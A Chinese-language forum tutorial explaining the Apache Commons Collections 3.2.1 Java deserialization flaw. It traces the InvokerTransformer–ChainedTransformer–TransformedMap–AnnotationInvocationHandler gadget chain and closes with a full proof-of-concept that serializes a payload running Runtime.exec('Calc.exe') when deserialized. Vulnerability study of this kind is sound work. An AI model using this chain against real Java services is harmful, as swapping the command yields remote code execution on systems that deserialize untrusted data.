Apache Commons Collections 反序列化漏洞

[复制链接]
发表于 2024-11-6 19:35:40 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

×

前言

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方底子库,它提供了很多强大的数据结构范例和实现了各种聚集工具 类。作为Apache开放项目的重要组件,Commons Collections被广泛的各种Java应用的开辟。可以在Apache官网下载CC的jar文件和源代码,用于代码审计。
Java聚集框架:称为Collection,是Java中存在的一系列操纵List、Set和Map的类的聚集。Commons Collections扩展了聚集框架,增强了很多功能。

一、漏洞爆出

·2015.01.28 Gabriel Lawrence和Chris Frohoff
https://speakerdeck.com/frohoff/appseccali-2015-marshalling-pickles-how-deserializing-objects-can-ruin-your-day
https://github.com/frohoff/ysoserial
·2015.11.06 FoxGlove Security @breenmachine
https://commons.apache.org/proper/commons-collections/release_3_2_2.html
https://issues.apache.org/jira/browse/COLLECTIONS-580
二、复现环境

jdk1.7.0 80
IDEA Project Structrure, Settings–Java
compile等设置成java7
Apache Commons Collections 3.2.1
java聚集框架


题目

1、哪里出现了可以实验恣意代码的题目?
2、序列化的payload怎么构造?
JVM

Java代码运行原理:
1、源码
2、编译器(javac)编译为字节码.class文件
3、各平台JⅣM表明器把字节码文件转换成操纵系统指令(Java能到达跨平台的缘故原由)
反射

在程序运行的时候动态创建一个类的实例,调用实例的方法和访问它的属性
Class —— Instance
Person —— new Person(“laow”)
三、Apache Commons Collections漏洞原理≤3.2.1

CC关键类

○InvokeTransformer
利用Java反射机制来创建类实例
○ChainedTransformer
实现了Transformer链式调用,我们只必要传入一个Transformer数组 ChainedTransformer就可以实现依次的去调用每一个Transformer的transform()方法
○ConstantTransformer
transform()返回构造函数的对象
○TransformedMap

调用链路


POC构造思绪

1. InvokeTransformer
反射实验代码
2. ChainedTransformer
链式调用,主动触发
3. ConstantTransformer
得到对象
4. TransformedMap
元素变化实验transform,setValue——checkSetValue
5. AnnotationInvocationHandler
readObject 调用Map的setValue


  1. InvokeTransformer中有一个transform方法,可以获得一个对象(Class.forName()或input.getClass()两种获得类对象的方法).class,
  2. 然后获得对象的方法,调用invoke触发其方法
  3. 有了这个方法,我们总不能认为这个方法会自己去跑吧!!!
  4. 于是,我们通过invokerTransformer = new InvokerTransformer(
  5.                 "exec",
  6.                 new Class[]{String.class},
  7.                 new String[]{"Calc.exe"}
  8.                 设置函数名称exec,类型,值   然后
  9.                 Object input = Runtime.getRuntime();
  10.                 创建外部程序执行命令的方法对象   传给invokerTransformer的transform方法
  11.                     invokerTransformer.transform(input);
  12.                     这个方法就会自动进行如下操作
  13.                                                             完整的Runtime.getRuntime().exec("./p.exe");实现
  14.                     Class cls = input.getClass();//获取Runtime.getRuntime()对象
  15.                     //获取Runtime.getRuntime()对象的方法(exec,方法类型)
  16.                 Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
  17.                 通过invoke触发Runtime.getRuntime()对象的所有方法,这里填入的值是Calc.exe
  18.                 return method.invoke(input, this.iArgs);
  19. 完整代码
  20. public static void main(String[] args) {
  21.         //创建实例传入构造方法参数(函数名 参数类型 参数值)
  22.         InvokerTransformer invokerTransformer = new InvokerTransformer(
  23.                 "exec",
  24.                 new Class[]{String.class},
  25.                 new String[]{"Calc.exe"}
  26.         );
  27.         try {
  28.             Object input = Runtime.getRuntime();
  29.             invokerTransformer.transform(input);
  30.         }catch (Exception e){
  31.             e.printStackTrace();
  32.         }
  33.     }
  34. 到这里,我们自己去写的就可以实现弹出计算器了,但是在实际的攻击中,我们要做到这点,利用现成的方法去做还是比较困难,
  35. 所以我们又找到了ChainedTransformer
复制代码

我们只必要传入一个Transformer数组ChainedTransformer就可以实现依次的去调用每一个Transformer的transform方法。
通过ConstantTransformer类的transform方法获取一个对象范例,如transform参数是Runtime.class时,调用ConstantTransformer类的transform方法,实验后返回java.lang.Runtime类
可能就会有人要问传入一个Runtime.getRuntime,末了返回这个一个对象,这样有啥意义,本身以为没啥意义,唯一的意义就是它是Transform的子类,在CC链中很有意义!相称于实现调用invokerTransformer.transform(input);后,会实验的Class cls = input.getClass();

到这里,就又会有一个题目,chainedTransformer.transform(null);又凭什么能主动实验呢,所以我们又找到了下面的类TransformedMap,那么我们要怎么让他来触发transform,于是找到TransformedMap中的checkSetValue,那么什么时候又会实验checkSetValue呢,所以又找到了TransformedMap的父类AbstractInputCheckedMapDecorator中的setValue



那么一个Map的setValue什么时候会触发呢,当其中的元素增加、删除、修改的时候就会调用setValue,所以我们必要找一个对象,他在反序列化的时候,会给一个Map对象赋值,或者调用setValue。
于是我们就找到了AnnotationInvocationHandler,它在反序列化时,调用readObject,他在内里用了Entry(这个实质上就是Map)在其中调用了setValue


通过TransformedMap.decorate 返回一个键为null 值为transformedChain的一个TransformedMap,这里的hashmap键值对啥都行,TransformedMap实例化必要,而最终利用的就是这个对象中的entry的setValue方法,通过setValue可以触发Map的checkSetValue,从而触发transform
POC

  1. Transformer[] transforms = new Transformer[]{
  2.         //获得Runtime类对象
  3.         new ConstantTransformer(Runtime.class),
  4.         //传入Runtime类对象,反射执行getMethod获得getRuntime方法
  5.         new InvokerTransformer(
  6.                 "getMethod",
  7.                 new Class[]{String.class,Class[].class},
  8.                 new Object[]{"getRuntime",new Class[0]}
  9.         ),
  10.         //传入getRuntime方法,反射执行invoke方法,得到Runtime实列
  11.         new InvokerTransformer("invoke",
  12.                 new Class[]{Object.class, Object[].class},
  13.                 new Object[]{null, null}),
  14.         //传入Runtime实列 ,执行exec方法
  15.         new InvokerTransformer("exec",
  16.                 new Class[]{String.class},
  17.                 new Object[]{"Calc.exe"})
  18. };
  19. ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);
  20. Map innermap = new HashMap();
  21. innermap.put("value","value");
  22. Map outermap = TransformedMap.decorate(innermap, null, chainedTransformer);
  23. //构造包含恶意map的AnnotationInvocationHandler对象
  24. Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  25. Constructor cst = cl.getDeclaredConstructor(Class.class, Map.class);
  26. cst.setAccessible(true);
  27. Object exploitObj = cst.newInstance(Target.class, outermap);
  28. //序列化
  29. FileOutputStream fos = new FileOutputStream("payload.bin");
  30. ObjectOutputStream oos = new ObjectOutputStream(fos);
  31. oos.writeObject(exploitObj);
  32. oos.close();
  33. //反序列化
  34. FileInputStream fis = new FileInputStream("payload.bin");
  35. ObjectInputStream ois = new ObjectInputStream(fis);
  36. Object result = ois.readObject();
  37. ois.close();
复制代码

回复

使用道具 举报

登录后关闭弹窗

登录参与点评抽奖  加入IT实名职场社区
去登录
快速回复 返回顶部 返回列表